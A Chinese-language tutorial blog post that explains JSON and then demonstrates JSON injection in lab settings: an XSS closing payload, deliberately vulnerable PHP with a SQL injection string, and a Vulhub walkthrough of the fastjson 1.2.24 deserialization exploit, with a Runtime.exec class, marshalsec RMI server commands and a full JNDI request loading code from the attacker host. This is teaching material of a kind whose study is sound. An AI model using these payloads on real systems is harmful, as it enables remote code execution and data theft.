JSON注入入門
聲明
文章內容為學習記錄,請勿利用文章內的相關技術從事非法測試,如因此產生的一切不良后果與文章作者和本公眾號無關。
什么是JSON
- JSON 指的是 JavaScript 對象表示法(JavaScript Object Notation)
- JSON 是輕量級的文本數據交換格式
- JSON 獨立于語言:JSON 使用 Javascript語法來描述數據對象,但是 JSON 仍然獨立于語言和平臺。JSON 解析器和 JSON 庫支持許多不同的編程語言。目前非常多的動態(PHP,JSP,.NET)編程語言都支持JSON
- JSON 具有自我描述性,更易理解
JSON轉換為 JavaScript 對象
JSON文本格式在語法上與創建 JavaScript 對象的代碼相同。
由于這種相似性,無需解析器,JavaScript 程序能夠使用內建的 eval() 函數,用 JSON 數據來生成原生的 JavaScript 對象。
JSON語法
語法規則
JSON 語法是 JavaScript 對象表示語法的子集。
- 數據在名稱/值對中
- 數據由逗號分隔
- 大括號 {} 保存對象
- 中括號 [] 保存數組,數組可以包含多個對象
JSON名稱/值對
JSON 數據的書寫格式是:
key : value
名稱/值對包括字段名稱(在雙引號中),后面寫一個冒號,然后是值:
"name" : "這是名字"
這很容易理解,等價于這條 JavaScript 語句:
name = "這是名字"
JSON vs XML
JSON 和 XML 都用于接收 web 服務端的數據。
JSON 和 XML在寫法上有所不同,如下所示:
JSON實例
{ "sites": [ { "name":"name1" , "url":"url1" }, { "name":"name2" , "url":"url2" }, { "name":"name3" , "url":"url3" } ]}
XML實例
name1 url1 name2 url2 name3 url3
最大的不同是:XML 需要使用 XML 解析器來解析,JSON 可以使用標準的 JavaScript 函數來解析。
為什么JSON比XML好?
XML 比 JSON 更難解析。
JSON 可以直接使用現有的 JavaScript 對象解析。
針對 AJAX 應用,JSON 比 XML 數據加載更快,而且更簡單:
使用 XML
- 獲取 XML 文檔
- 使用 XML DOM 迭代循環文檔
- 接數據解析出來復制給變量
使用 JSON
- 獲取 JSON 字符串
- JSON.Parse 解析 JSON 字符串
什么是JSON注入
JSON注入是指應用程序所解析的JSON數據來源于不可信賴的數據源,程序沒有對這些不可信賴的數據進行驗證、過濾,如果應用程序使用未經驗證的輸入構造 JSON,則可以更改 JSON 數據的語義。
JSON注入演示一
1、將數據包發往burpsuit。

2、將抓到的包發往repeater。

3、根據ToolID為5找到對應的JSON語句。

4、修改ToolID,獲取到簡短一點的JSON。

5、根據步驟4中的代碼對json語句進行閉合。
"}}';alert(/aaa/);//
將查詢代碼修改為5中的代碼后,查詢的語句變為。PS:正常情況下要將分號進行編碼(%3b)。
var gPenTestToolsJSONString = '{"query": {"toolIDRequested": ""}}';alert(/aaa/);//", "penTestTools": []}}'
在burp中修改ToolID值后發包,此時看到網頁彈窗。

JSON注入演示二
源碼
header('content-type:text/html;charset=utf-8'); if(isset($_POST['json'])){ $json_str=$_POST['json']; $json=json_decode($json_str); if(!$json){ die('JSON文檔格式有誤,請檢查'); } $username=$json->username; //$passwd=$json->password;
//建立mysql連接,root/root連接本地數據庫 $mysqli=new mysqli(); $mysqli->connect('localhost','root','root'); if($mysqli->connect_errno){ die('數據庫連接失敗:'.$mysqli->connect_error); }
//設置數據庫名 $mysqli->select_db('security'); if($mysqli->errno){ dir('打開數據庫失敗:'.$mysqli->error); }
//數據庫編碼格式 $mysqli->set_charset('utf-8');
//從users表中查詢username,password字段 $sql="SELECT username,password FROM users WHERE username='{$username}'"; $result=$mysqli->query($sql); if(!$result){ die('執行SQL語句失敗:'.$mysqli->error); }else if($result->num_rows==0){ die('查詢結果為空'); }else { $array1=$result->fetch_all(MYSQLI_ASSOC); echo "用戶名:{$array1[0]['username']},密碼:{$array1[0]['password']}"; } $result->free(); $mysqli->close(); }?>
1、由源碼分析出是:
- 根據POST請求獲取的JSON
- 根據JSON的username值到數據庫中進行查詢
- 字符型注入
2、構造對應的payload進行查詢。
json={"username":"admin' and 1 = 1#"}


靶機 Vulhub
fastjson 1.2.24 反序列化導致任意命令執行漏洞
環境
靶機:192.168.225.132
kali:192.168.225.129
1、開啟靶機。
sudo docker-compose up -d

2、訪問靶機對應端口。

3、抓包后修改數據發現能夠直接回顯。

4、因為目標環境是Java 8u102,沒有com.sun.jndi.rmi.object.trustURLCodebase的限制,我們可以使用com.sun.rowset.JdbcRowSetImpl的利用鏈,借助JNDI注入來執行命令。
保存下方代碼為TouchFile.java。PS:java中文件名必須和類名一致,否則會報錯。
// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process;
public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"};//在靶機tmp下新建文件夾 Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}
5、根據目標環境的java版本,在編譯軟件中選擇對應的java版本編譯,編譯后得到.class文件。

6、在kali中開啟http服務以及rmi服務供靶機遠程調用。
開啟http
python -m SimpleHTTPServer 7777

開啟rmi
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.225.129:7777/#TouchFile" 9999

7、向靶機發送payload。
POST / HTTP/1.1Host: 192.168.225.132:8090Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Length: 167Content-Type: application/json
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.225.129:9999/TouchFile", "autoCommit":true }}

8、登錄靶機,文件成功創建,此處注意需要進入對應docker。
sudo docker pssudo docker exec -it 5b02 bash

9、kali效果圖。
